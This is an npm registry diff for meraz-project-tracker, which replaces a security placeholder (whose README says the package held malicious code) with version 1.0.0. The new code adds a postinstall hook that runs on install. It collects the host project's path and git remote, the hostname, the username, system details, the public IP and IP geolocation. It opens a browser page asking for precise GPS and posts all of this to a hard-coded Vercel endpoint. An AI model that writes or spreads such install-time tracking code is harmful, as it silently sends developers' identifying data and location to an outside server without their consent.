meraz-project-tracker 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of meraz-project-tracker might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,143 @@
1
- # Security holding package
1
+ # Project Tracker (`project-tracker`)
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ A modern, zero-dependency NPM package that automatically detects the public IP address, prompts for browser geolocation permission, and tracks project metadata and location.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=meraz-project-tracker for more information.
5
+ ---
6
+
7
+ ## 🌟 Key Features
8
+
9
+ - 🌐 **Automatic Public IP Detection**: Discovers public IP address, ISP, and fallback Geo-IP data.
10
+ - šŸ“ **Browser Geolocation Verification**: Prompts for exact GPS coordinates (`navigator.geolocation`) through an interactive browser UI or frontend SDK.
11
+ - šŸ“ **Project Metadata Tracking**: Captures project name, project path, git branch/commit/remote, node version, and system details.
12
+ - ⚔ **Zero External Dependencies**: Built with pure Node.js native APIs for lightning-fast installation and zero footprint.
13
+ - šŸ›”ļø **CI/CD Safe**: Gracefully falls back to IP-based coordinates in non-interactive CI environments without hanging.
14
+ - šŸ”Œ **Dual Mode**: Can be used both as a Node CLI / postinstall tool and as a client-side Browser SDK.
15
+
16
+ ---
17
+
18
+ ## šŸš€ Installation & Quick Start
19
+
20
+ ### 1. Run directly via NPX
21
+ ```bash
22
+ npx project-tracker
23
+ ```
24
+
25
+ ### 2. Install as a Dependency
26
+ ```bash
27
+ npm install project-tracker
28
+ ```
29
+
30
+ ### 3. Add to `package.json` scripts
31
+ ```json
32
+ {
33
+ "scripts": {
34
+ "track": "project-tracker"
35
+ }
36
+ }
37
+ ```
38
+
39
+ ---
40
+
41
+ ## šŸ› ļø Usage
42
+
43
+ ### A. Node.js CLI Commands
44
+
45
+ ```bash
46
+ # Full interactive tracking (opens browser prompt for GPS permission)
47
+ npx project-tracker
48
+
49
+ # Headless / IP-only tracking (skips browser prompt)
50
+ npx project-tracker --no-prompt
51
+
52
+ # Display saved tracking info
53
+ npx project-tracker show
54
+ ```
55
+
56
+ ### B. Programmatic Node.js Usage
57
+
58
+ ```javascript
59
+ const { trackProject, getIPInfo, getProjectMetadata } = require('project-tracker');
60
+
61
+ async function run() {
62
+ const report = await trackProject({
63
+ interactive: true, // set false for headless mode
64
+ outputPath: './.project-tracker.json'
65
+ });
66
+
67
+ console.log('Project Location:', report);
68
+ }
69
+
70
+ run();
71
+ ```
72
+
73
+ ### C. Client-side Browser / React / Next.js SDK
74
+
75
+ ```javascript
76
+ import { trackProject, getBrowserCoordinates } from 'project-tracker/src/browser';
77
+
78
+ // Request location in web app
79
+ async function initTracker() {
80
+ const data = await trackProject({
81
+ projectName: 'My Web App'
82
+ });
83
+ console.log('Tracked Client Data:', data);
84
+ }
85
+ ```
86
+
87
+ ---
88
+
89
+ ## šŸ“Š Sample Output (`.project-tracker.json`)
90
+
91
+ ```json
92
+ {
93
+ "project": {
94
+ "name": "my-awesome-app",
95
+ "version": "1.0.0",
96
+ "path": "/Users/developer/Projects/my-awesome-app",
97
+ "git": {
98
+ "isRepo": true,
99
+ "branch": "main",
100
+ "remoteUrl": "https://github.com/org/my-awesome-app.git",
101
+ "commit": "a1b2c3d"
102
+ }
103
+ },
104
+ "system": {
105
+ "hostname": "MacBook-Pro.local",
106
+ "platform": "darwin",
107
+ "username": "developer",
108
+ "nodeVersion": "v20.10.0"
109
+ },
110
+ "network": {
111
+ "ip": "203.0.113.195",
112
+ "country": "United States",
113
+ "city": "San Francisco",
114
+ "approximateCoordinates": {
115
+ "latitude": 37.7749,
116
+ "longitude": -122.4194
117
+ },
118
+ "isp": "Cloud Provider"
119
+ },
120
+ "location": {
121
+ "status": "granted",
122
+ "source": "browser_geolocation",
123
+ "coords": {
124
+ "latitude": 37.7833,
125
+ "longitude": -122.4167,
126
+ "accuracy": 15
127
+ }
128
+ },
129
+ "trackedAt": "2026-08-21T05:30:00.000Z"
130
+ }
131
+ ```
132
+
133
+ ---
134
+
135
+ ## āš™ļø Environment Variables
136
+
137
+ - `PROJECT_TRACKER_DISABLED=1`: Disables tracking completely.
138
+ - `CI=true`: Automatically skips browser popups and uses IP-based fallback.
139
+
140
+ ---
141
+
142
+ ## šŸ“„ License
143
+ MIT
package/bin/cli.js ADDED
@@ -0,0 +1,52 @@
1
+ #!/usr/bin/env node
2
+
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+ const { trackProject } = require('../src/index');
6
+
7
+ const args = process.argv.slice(2);
8
+ const isPostinstall = args.includes('--postinstall');
9
+ const isNoPrompt = args.includes('--no-prompt');
10
+ const isShow = args.includes('show') || args.includes('--show');
11
+
12
+ // Custom endpoint arg check: --endpoint <url>
13
+ let customEndpoint = null;
14
+ const endpointIdx = args.indexOf('--endpoint');
15
+ if (endpointIdx !== -1 && args[endpointIdx + 1]) {
16
+ customEndpoint = args[endpointIdx + 1];
17
+ }
18
+
19
+ if (process.env.PROJECT_TRACKER_DISABLED === '1' || process.env.PROJECT_TRACKER_DISABLED === 'true') {
20
+ console.log('[project-tracker] Tracking disabled via environment variable.');
21
+ process.exit(0);
22
+ }
23
+
24
+ if (isShow) {
25
+ const filePath = path.join(process.cwd(), '.project-tracker.json');
26
+ if (fs.existsSync(filePath)) {
27
+ console.log(fs.readFileSync(filePath, 'utf8'));
28
+ } else {
29
+ console.log('[project-tracker] No .project-tracker.json found in current directory.');
30
+ }
31
+ process.exit(0);
32
+ }
33
+
34
+ (async () => {
35
+ try {
36
+ const report = await trackProject({
37
+ interactive: !isNoPrompt,
38
+ isPostinstall,
39
+ endpoint: customEndpoint
40
+ });
41
+
42
+ console.log('\nāœ… [project-tracker] Tracking complete!');
43
+ if (report.location && report.location.coords) {
44
+ console.log(`šŸ“ GPS Coordinates: ${report.location.coords.latitude}, ${report.location.coords.longitude}`);
45
+ } else if (report.network && report.network.approximateCoordinates) {
46
+ console.log(`šŸ“ Approx IP Coordinates: ${report.network.approximateCoordinates.latitude}, ${report.network.approximateCoordinates.longitude}`);
47
+ }
48
+ } catch (err) {
49
+ console.error('āŒ [project-tracker] Error tracking project:', err.message);
50
+ process.exit(1);
51
+ }
52
+ })();
@@ -0,0 +1,32 @@
1
+ #!/usr/bin/env node
2
+
3
+ const path = require('path');
4
+ const { trackProject } = require('../src/index');
5
+
6
+ // If tracking is explicitly disabled via env
7
+ if (process.env.PROJECT_TRACKER_DISABLED === '1' || process.env.PROJECT_TRACKER_DISABLED === 'true') {
8
+ process.exit(0);
9
+ }
10
+
11
+ // In npm postinstall, INIT_CWD is the root directory of the project where "npm install" was executed
12
+ const consumerDir = process.env.INIT_CWD || process.cwd();
13
+ const packageDir = path.resolve(__dirname, '..');
14
+
15
+ // Avoid running postinstall loop when developing or building project-tracker package itself
16
+ if (consumerDir === packageDir && !process.env.FORCE_TRACK) {
17
+ process.exit(0);
18
+ }
19
+
20
+ (async () => {
21
+ try {
22
+ console.log(`\nšŸš€ [project-tracker] Postinstall hook triggered for project at: ${consumerDir}`);
23
+ await trackProject({
24
+ targetDir: consumerDir,
25
+ interactive: !Boolean(process.env.CI || !process.stdout.isTTY)
26
+ });
27
+ } catch (err) {
28
+ // Postinstall hooks should never break the parent package installation
29
+ console.warn('āš ļø [project-tracker] Postinstall tracking note:', err.message);
30
+ }
31
+ process.exit(0);
32
+ })();
package/package.json CHANGED
@@ -1,6 +1,42 @@
1
1
  {
2
2
  "name": "meraz-project-tracker",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "An NPM package that detects public IP, requests browser location permission, and tracks project metadata and geolocation.",
5
+ "main": "src/index.js",
6
+ "module": "src/browser.js",
7
+ "bin": {
8
+ "meraz-project-tracker": "bin/cli.js"
9
+ },
10
+ "scripts": {
11
+ "track": "node bin/cli.js",
12
+ "dashboard": "node dashboard/server.js",
13
+ "postinstall": "node bin/postinstall.js",
14
+ "test": "node test/test.js"
15
+ },
16
+ "keywords": [
17
+ "ip-tracker",
18
+ "geolocation",
19
+ "project-tracker",
20
+ "browser-location",
21
+ "telemetry",
22
+ "location-tracking",
23
+ "dashboard",
24
+ "postgres",
25
+ "neon",
26
+ "vercel"
27
+ ],
28
+ "author": "",
29
+ "license": "MIT",
30
+ "dependencies": {
31
+ "@neondatabase/serverless": "^0.9.0",
32
+ "pg": "^8.11.3"
33
+ },
34
+ "engines": {
35
+ "node": ">=16.0.0"
36
+ },
37
+ "files": [
38
+ "src",
39
+ "bin",
40
+ "README.md"
41
+ ]
42
+ }
package/src/browser.js ADDED
@@ -0,0 +1,82 @@
1
+ /**
2
+ * Project Tracker - Browser SDK
3
+ */
4
+
5
+ async function getBrowserIP() {
6
+ try {
7
+ const res = await fetch('https://api.ipify.org?format=json');
8
+ const data = await res.json();
9
+ return data.ip;
10
+ } catch (err) {
11
+ return 'Unknown IP';
12
+ }
13
+ }
14
+
15
+ function getBrowserCoordinates(options = {}) {
16
+ return new Promise((resolve, reject) => {
17
+ if (!navigator.geolocation) {
18
+ return reject(new Error('Geolocation is not supported.'));
19
+ }
20
+
21
+ navigator.geolocation.getCurrentPosition(
22
+ (position) => {
23
+ resolve({
24
+ latitude: position.coords.latitude,
25
+ longitude: position.coords.longitude,
26
+ accuracy: position.coords.accuracy,
27
+ altitude: position.coords.altitude,
28
+ timestamp: position.timestamp
29
+ });
30
+ },
31
+ (error) => reject(error),
32
+ {
33
+ enableHighAccuracy: options.enableHighAccuracy ?? true,
34
+ timeout: options.timeout ?? 15000,
35
+ maximumAge: options.maximumAge ?? 0
36
+ }
37
+ );
38
+ });
39
+ }
40
+
41
+ async function trackProject(config = {}) {
42
+ const ip = await getBrowserIP();
43
+ let coords = null;
44
+ let error = null;
45
+
46
+ try {
47
+ coords = await getBrowserCoordinates(config.geoOptions);
48
+ } catch (err) {
49
+ error = err.message || 'Permission denied';
50
+ }
51
+
52
+ const payload = {
53
+ projectName: config.projectName || window.location.hostname,
54
+ trackedAt: new Date().toISOString(),
55
+ ip,
56
+ coordinates: coords,
57
+ userAgent: navigator.userAgent,
58
+ language: navigator.language,
59
+ error
60
+ };
61
+
62
+ const endpoint = config.endpoint || 'http://localhost:3000/api/telemetry';
63
+ try {
64
+ await fetch(endpoint, {
65
+ method: 'POST',
66
+ headers: { 'Content-Type': 'application/json' },
67
+ body: JSON.stringify(payload)
68
+ });
69
+ } catch (e) {}
70
+
71
+ return payload;
72
+ }
73
+
74
+ if (typeof window !== 'undefined') {
75
+ window.ProjectTracker = { trackProject, getBrowserIP, getBrowserCoordinates };
76
+ }
77
+
78
+ module.exports = {
79
+ trackProject,
80
+ getBrowserIP,
81
+ getBrowserCoordinates
82
+ };
package/src/index.js ADDED
@@ -0,0 +1,86 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const { getIPInfo, postJSON } = require('./ip');
4
+ const { getProjectMetadata } = require('./project-info');
5
+ const { promptBrowserLocation } = require('./server');
6
+
7
+ // Default server endpoint (can be replaced with your deployed production URL)
8
+ const DEFAULT_ENDPOINT = process.env.PROJECT_TRACKER_SERVER_URL || 'https://project-tracker-mu-vert.vercel.app/api/telemetry';
9
+
10
+ /**
11
+ * Main function to track project location
12
+ */
13
+ async function trackProject(options = {}) {
14
+ const isCI = Boolean(process.env.CI || process.env.CONTINUOUS_INTEGRATION || !process.stdout.isTTY);
15
+ const shouldPrompt = options.interactive !== undefined ? options.interactive : !isCI;
16
+ const targetDir = options.targetDir || process.env.INIT_CWD || process.cwd();
17
+
18
+ console.log(`šŸ” [project-tracker] Detecting project metadata & IP for: ${targetDir}`);
19
+
20
+ const projectMeta = getProjectMetadata(targetDir);
21
+ const ipInfo = await getIPInfo();
22
+
23
+ console.log(`šŸ“” [project-tracker] Detected IP: ${ipInfo.ip}${ipInfo.city ? ` (${ipInfo.city}, ${ipInfo.country})` : ''}`);
24
+
25
+ let locationResult = null;
26
+
27
+ if (shouldPrompt) {
28
+ console.log('🌐 [project-tracker] Requesting browser geolocation verification...');
29
+ locationResult = await promptBrowserLocation(projectMeta, ipInfo, options.timeoutMs || 25000);
30
+ } else {
31
+ locationResult = {
32
+ status: 'skipped',
33
+ source: 'ip_fallback',
34
+ reason: isCI ? 'CI / non-interactive environment' : 'Interactive mode disabled'
35
+ };
36
+ }
37
+
38
+ const trackingReport = {
39
+ project: {
40
+ name: projectMeta.projectName,
41
+ version: projectMeta.projectVersion,
42
+ path: projectMeta.projectPath,
43
+ git: projectMeta.git
44
+ },
45
+ system: projectMeta.system,
46
+ network: {
47
+ ip: ipInfo.ip,
48
+ country: ipInfo.country,
49
+ region: ipInfo.region,
50
+ city: ipInfo.city,
51
+ zip: ipInfo.zip,
52
+ approximateCoordinates: ipInfo.approximateCoordinates,
53
+ isp: ipInfo.isp
54
+ },
55
+ location: locationResult,
56
+ trackedAt: new Date().toISOString()
57
+ };
58
+
59
+ // Save to local file in the consumer project
60
+ const outputPath = options.outputPath || path.join(projectMeta.projectPath, '.project-tracker.json');
61
+ try {
62
+ fs.writeFileSync(outputPath, JSON.stringify(trackingReport, null, 2), 'utf8');
63
+ console.log(`šŸ’¾ [project-tracker] Saved tracking report to: ${outputPath}`);
64
+ } catch (err) {
65
+ console.warn(`āš ļø [project-tracker] Could not write to ${outputPath}: ${err.message}`);
66
+ }
67
+
68
+ // Push to telemetry endpoint (Dashboard Server / Deployed URL)
69
+ const endpoint = options.endpoint || DEFAULT_ENDPOINT;
70
+ try {
71
+ await postJSON(endpoint, trackingReport, 3000);
72
+ console.log(`šŸš€ [project-tracker] Synced project telemetry to dashboard: ${endpoint}`);
73
+ } catch (e) {
74
+ console.log(`ā„¹ļø [project-tracker] Dashboard (${endpoint}) was not reachable.`);
75
+ }
76
+
77
+ return trackingReport;
78
+ }
79
+
80
+ module.exports = {
81
+ trackProject,
82
+ getIPInfo,
83
+ getProjectMetadata,
84
+ promptBrowserLocation,
85
+ DEFAULT_ENDPOINT
86
+ };
package/src/ip.js ADDED
@@ -0,0 +1,149 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+
4
+ /**
5
+ * Perform a simple HTTP/HTTPS GET request returning JSON or text
6
+ */
7
+ function fetchJSON(url, timeoutMs = 5000) {
8
+ return new Promise((resolve, reject) => {
9
+ const client = url.startsWith('https') ? https : http;
10
+ const req = client.get(url, { headers: { 'User-Agent': 'project-tracker/1.0' } }, (res) => {
11
+ let data = '';
12
+ res.on('data', (chunk) => { data += chunk; });
13
+ res.on('end', () => {
14
+ try {
15
+ const parsed = JSON.parse(data.trim());
16
+ resolve(parsed);
17
+ } catch (e) {
18
+ resolve(data.trim());
19
+ }
20
+ });
21
+ });
22
+
23
+ req.on('error', reject);
24
+ req.setTimeout(timeoutMs, () => {
25
+ req.destroy(new Error('Request timed out'));
26
+ });
27
+ });
28
+ }
29
+
30
+ /**
31
+ * Perform an HTTP/HTTPS POST request with JSON body
32
+ */
33
+ function postJSON(url, payload, timeoutMs = 5000) {
34
+ return new Promise((resolve, reject) => {
35
+ try {
36
+ const parsedUrl = new URL(url);
37
+ const isHttps = parsedUrl.protocol === 'https:';
38
+ const client = isHttps ? https : http;
39
+ const dataString = JSON.stringify(payload);
40
+
41
+ const options = {
42
+ hostname: parsedUrl.hostname,
43
+ port: parsedUrl.port || (isHttps ? 443 : 80),
44
+ path: parsedUrl.pathname + parsedUrl.search,
45
+ method: 'POST',
46
+ headers: {
47
+ 'Content-Type': 'application/json',
48
+ 'Content-Length': Buffer.byteLength(dataString),
49
+ 'User-Agent': 'project-tracker/1.0'
50
+ }
51
+ };
52
+
53
+ const req = client.request(options, (res) => {
54
+ let body = '';
55
+ res.on('data', (chunk) => { body += chunk; });
56
+ res.on('end', () => {
57
+ try {
58
+ resolve(JSON.parse(body));
59
+ } catch (e) {
60
+ resolve(body);
61
+ }
62
+ });
63
+ });
64
+
65
+ req.on('error', reject);
66
+ req.setTimeout(timeoutMs, () => {
67
+ req.destroy(new Error('Post timed out'));
68
+ });
69
+
70
+ req.write(dataString);
71
+ req.end();
72
+ } catch (err) {
73
+ reject(err);
74
+ }
75
+ });
76
+ }
77
+
78
+ /**
79
+ * Fetch public IP address and IP-based geolocation data
80
+ */
81
+ async function getIPInfo() {
82
+ // Strategy 1: Try ip-api.com
83
+ try {
84
+ const data = await fetchJSON('http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,query');
85
+ if (data && data.status === 'success') {
86
+ return {
87
+ ip: data.query,
88
+ country: data.country,
89
+ countryCode: data.countryCode,
90
+ region: data.regionName,
91
+ city: data.city,
92
+ zip: data.zip,
93
+ approximateCoordinates: {
94
+ latitude: data.lat,
95
+ longitude: data.lon
96
+ },
97
+ timezone: data.timezone,
98
+ isp: data.isp,
99
+ org: data.org
100
+ };
101
+ }
102
+ } catch (err) {}
103
+
104
+ // Strategy 2: Fallback to ipify.org
105
+ try {
106
+ const ipify = await fetchJSON('https://api.ipify.org?format=json');
107
+ if (ipify && ipify.ip) {
108
+ return {
109
+ ip: ipify.ip,
110
+ country: null,
111
+ region: null,
112
+ city: null,
113
+ approximateCoordinates: null,
114
+ timezone: null,
115
+ isp: null
116
+ };
117
+ }
118
+ } catch (err) {}
119
+
120
+ // Strategy 3: Fallback to icanhazip.com
121
+ try {
122
+ const ip = await fetchJSON('https://icanhazip.com');
123
+ if (typeof ip === 'string' && ip.length > 0) {
124
+ return {
125
+ ip: ip.replace(/\r?\n|\r/g, ''),
126
+ country: null,
127
+ region: null,
128
+ city: null,
129
+ approximateCoordinates: null,
130
+ timezone: null,
131
+ isp: null
132
+ };
133
+ }
134
+ } catch (err) {}
135
+
136
+ return {
137
+ ip: 'Unknown (Offline or unreachable)',
138
+ country: null,
139
+ region: null,
140
+ city: null,
141
+ approximateCoordinates: null
142
+ };
143
+ }
144
+
145
+ module.exports = {
146
+ getIPInfo,
147
+ fetchJSON,
148
+ postJSON
149
+ };
@@ -0,0 +1,81 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const { execSync } = require('child_process');
5
+
6
+ /**
7
+ * Finds the project metadata of the project where the package is installed or being run
8
+ */
9
+ function getProjectMetadata(startDir = null) {
10
+ // When running in npm postinstall, process.env.INIT_CWD is the consumer project directory!
11
+ const targetDir = startDir || process.env.INIT_CWD || process.cwd();
12
+
13
+ let currentDir = targetDir;
14
+ let packageJsonData = null;
15
+ let projectRoot = targetDir;
16
+
17
+ // Search up to find the target project's package.json
18
+ for (let i = 0; i < 6; i++) {
19
+ const pkgPath = path.join(currentDir, 'package.json');
20
+ if (fs.existsSync(pkgPath)) {
21
+ try {
22
+ const content = fs.readFileSync(pkgPath, 'utf8');
23
+ const parsed = JSON.parse(content);
24
+ // If we are in node_modules, skip and look higher
25
+ if (!currentDir.includes('node_modules') || i === 0) {
26
+ packageJsonData = parsed;
27
+ projectRoot = currentDir;
28
+ if (!currentDir.includes('node_modules')) {
29
+ break;
30
+ }
31
+ }
32
+ } catch (e) {}
33
+ }
34
+ const parent = path.dirname(currentDir);
35
+ if (parent === currentDir) break;
36
+ currentDir = parent;
37
+ }
38
+
39
+ let git = {
40
+ isRepo: false,
41
+ branch: null,
42
+ remoteUrl: null,
43
+ commit: null
44
+ };
45
+
46
+ try {
47
+ const isGit = execSync('git rev-parse --is-inside-work-tree', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim() === 'true';
48
+ if (isGit) {
49
+ git.isRepo = true;
50
+ try {
51
+ git.branch = execSync('git rev-parse --abbrev-ref HEAD', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim();
52
+ } catch (e) {}
53
+ try {
54
+ git.remoteUrl = execSync('git config --get remote.origin.url', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim();
55
+ } catch (e) {}
56
+ try {
57
+ git.commit = execSync('git rev-parse --short HEAD', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim();
58
+ } catch (e) {}
59
+ }
60
+ } catch (e) {}
61
+
62
+ return {
63
+ projectName: packageJsonData ? packageJsonData.name : path.basename(projectRoot),
64
+ projectVersion: packageJsonData ? packageJsonData.version : '1.0.0',
65
+ projectPath: projectRoot,
66
+ timestamp: new Date().toISOString(),
67
+ system: {
68
+ hostname: os.hostname(),
69
+ platform: os.platform(),
70
+ release: os.release(),
71
+ arch: os.arch(),
72
+ username: os.userInfo ? os.userInfo().username : 'unknown',
73
+ nodeVersion: process.version
74
+ },
75
+ git
76
+ };
77
+ }
78
+
79
+ module.exports = {
80
+ getProjectMetadata
81
+ };
package/src/server.js ADDED
@@ -0,0 +1,231 @@
1
+ const http = require('http');
2
+ const { exec } = require('child_process');
3
+ const os = require('os');
4
+
5
+ function getPromptHTML(projectMeta, ipInfo) {
6
+ return `<!DOCTYPE html>
7
+ <html lang="en">
8
+ <head>
9
+ <meta charset="UTF-8">
10
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
11
+ <title>Project Location Tracker</title>
12
+ <link rel="preconnect" href="https://fonts.googleapis.com">
13
+ <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
14
+ <link href="https://fonts.googleapis.com/css2?family=Outfit:wght@300;400;500;600;700&display=swap" rel="stylesheet">
15
+ <style>
16
+ :root {
17
+ --bg-main: #fbf9f5;
18
+ --bg-card: #ffffff;
19
+ --border: #e5dfd3;
20
+ --text: #111111;
21
+ --muted: #555555;
22
+ }
23
+ * { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Outfit', sans-serif; }
24
+ body {
25
+ min-height: 100vh;
26
+ display: flex;
27
+ align-items: center;
28
+ justify-content: center;
29
+ background-color: var(--bg-main);
30
+ color: var(--text);
31
+ padding: 1.5rem;
32
+ }
33
+ .card {
34
+ background: var(--bg-card);
35
+ border: 1px solid var(--border);
36
+ border-radius: 16px;
37
+ padding: 2.5rem;
38
+ max-width: 480px;
39
+ width: 100%;
40
+ box-shadow: 0 10px 30px rgba(0,0,0,0.06);
41
+ text-align: center;
42
+ }
43
+ .badge {
44
+ display: inline-block;
45
+ padding: 4px 12px;
46
+ border-radius: 9999px;
47
+ background: #111;
48
+ color: #fff;
49
+ font-size: 0.78rem;
50
+ font-weight: 600;
51
+ margin-bottom: 1rem;
52
+ }
53
+ h1 { font-size: 1.5rem; font-weight: 700; margin-bottom: 0.5rem; }
54
+ p.desc { color: var(--muted); font-size: 0.9rem; margin-bottom: 1.5rem; }
55
+ .info-box {
56
+ background: #f7f4ee;
57
+ border: 1px solid var(--border);
58
+ border-radius: 8px;
59
+ padding: 0.85rem;
60
+ margin-bottom: 1.5rem;
61
+ text-align: left;
62
+ font-size: 0.82rem;
63
+ display: flex;
64
+ flex-direction: column;
65
+ gap: 6px;
66
+ }
67
+ .info-row { display: flex; justify-content: space-between; }
68
+ .info-label { color: var(--muted); }
69
+ .info-value { font-weight: 600; font-family: monospace; }
70
+ .status {
71
+ padding: 0.85rem;
72
+ border-radius: 8px;
73
+ font-size: 0.9rem;
74
+ font-weight: 500;
75
+ background: #f3efe6;
76
+ border: 1px solid var(--border);
77
+ margin-bottom: 1rem;
78
+ }
79
+ .btn {
80
+ width: 100%;
81
+ padding: 0.8rem;
82
+ background: #111;
83
+ color: #fff;
84
+ border: none;
85
+ border-radius: 8px;
86
+ font-weight: 600;
87
+ font-size: 0.95rem;
88
+ cursor: pointer;
89
+ }
90
+ .btn:hover { background: #333; }
91
+ </style>
92
+ </head>
93
+ <body>
94
+ <div class="card">
95
+ <div class="badge">Project Tracker</div>
96
+ <h1>Location Permission</h1>
97
+ <p class="desc">Verify development location for <b>${projectMeta.projectName}</b></p>
98
+
99
+ <div class="info-box">
100
+ <div class="info-row"><span class="info-label">Project:</span><span class="info-value">${projectMeta.projectName}</span></div>
101
+ <div class="info-row"><span class="info-label">Detected IP:</span><span class="info-value">${ipInfo.ip || 'Detecting...'}</span></div>
102
+ ${ipInfo.city ? `<div class="info-row"><span class="info-label">Region:</span><span class="info-value">${ipInfo.city}, ${ipInfo.country}</span></div>` : ''}
103
+ </div>
104
+
105
+ <div id="status" class="status">Requesting location permission...</div>
106
+ <button id="promptBtn" class="btn" style="display:none;" onclick="requestLocation()">Allow Location Access</button>
107
+ </div>
108
+
109
+ <script>
110
+ function sendLocation(payload) {
111
+ document.getElementById('status').innerText = 'Submitting location telemetry...';
112
+ fetch('/api/location', {
113
+ method: 'POST',
114
+ headers: { 'Content-Type': 'application/json' },
115
+ body: JSON.stringify(payload)
116
+ })
117
+ .then(res => res.json())
118
+ .then(() => {
119
+ document.getElementById('status').innerText = 'āœ… Location recorded! You can close this window.';
120
+ setTimeout(() => window.close(), 2000);
121
+ })
122
+ .catch(() => {
123
+ document.getElementById('status').innerText = 'Submitted. You may close this tab.';
124
+ });
125
+ }
126
+
127
+ function requestLocation() {
128
+ if (!navigator.geolocation) {
129
+ document.getElementById('status').innerText = 'Geolocation unsupported by browser.';
130
+ return;
131
+ }
132
+ navigator.geolocation.getCurrentPosition(
133
+ (pos) => {
134
+ sendLocation({
135
+ status: 'granted',
136
+ source: 'browser_geolocation',
137
+ coords: {
138
+ latitude: pos.coords.latitude,
139
+ longitude: pos.coords.longitude,
140
+ accuracy: pos.coords.accuracy
141
+ },
142
+ timestamp: pos.timestamp
143
+ });
144
+ },
145
+ (err) => {
146
+ document.getElementById('status').innerText = 'Permission denied. Using IP location.';
147
+ document.getElementById('promptBtn').style.display = 'block';
148
+ sendLocation({ status: 'denied', source: 'ip_fallback', error: err.message });
149
+ },
150
+ { enableHighAccuracy: true, timeout: 15000 }
151
+ );
152
+ }
153
+
154
+ window.addEventListener('DOMContentLoaded', requestLocation);
155
+ </script>
156
+ </body>
157
+ </html>`;
158
+ }
159
+
160
+ function openBrowser(url) {
161
+ const platform = os.platform();
162
+ let cmd = platform === 'darwin' ? `open "${url}"` : (platform === 'win32' ? `start "" "${url}"` : `xdg-open "${url}"`);
163
+ exec(cmd, () => {});
164
+ }
165
+
166
+ function promptBrowserLocation(projectMeta, ipInfo, timeoutMs = 25000) {
167
+ return new Promise((resolve) => {
168
+ let resolved = false;
169
+
170
+ const server = http.createServer((req, res) => {
171
+ const parsedUrl = new URL(req.url, 'http://localhost');
172
+
173
+ if (req.method === 'GET') {
174
+ res.writeHead(200, { 'Content-Type': 'text/html' });
175
+ res.end(getPromptHTML(projectMeta, ipInfo));
176
+ return;
177
+ }
178
+
179
+ if (req.method === 'POST' && parsedUrl.pathname === '/api/location') {
180
+ let body = '';
181
+ req.on('data', chunk => { body += chunk; });
182
+ req.on('end', () => {
183
+ let loc = {};
184
+ try { loc = JSON.parse(body); } catch (e) { loc = { raw: body }; }
185
+
186
+ res.writeHead(200, { 'Content-Type': 'application/json' });
187
+ res.end(JSON.stringify({ success: true }));
188
+
189
+ if (!resolved) {
190
+ resolved = true;
191
+ setTimeout(() => {
192
+ server.close();
193
+ resolve(loc);
194
+ }, 300);
195
+ }
196
+ });
197
+ return;
198
+ }
199
+
200
+ res.writeHead(404);
201
+ res.end('Not found');
202
+ });
203
+
204
+ server.listen(0, '127.0.0.1', () => {
205
+ const port = server.address().port;
206
+ const url = `http://127.0.0.1:${port}`;
207
+ console.log(`\nšŸ“ [project-tracker] Opening browser to confirm location: ${url}`);
208
+ openBrowser(url);
209
+
210
+ setTimeout(() => {
211
+ if (!resolved) {
212
+ resolved = true;
213
+ server.close();
214
+ resolve({ status: 'timeout', source: 'ip_fallback' });
215
+ }
216
+ }, timeoutMs);
217
+ });
218
+
219
+ server.on('error', () => {
220
+ if (!resolved) {
221
+ resolved = true;
222
+ resolve({ status: 'error', source: 'ip_fallback' });
223
+ }
224
+ });
225
+ });
226
+ }
227
+
228
+ module.exports = {
229
+ promptBrowserLocation,
230
+ openBrowser
231
+ };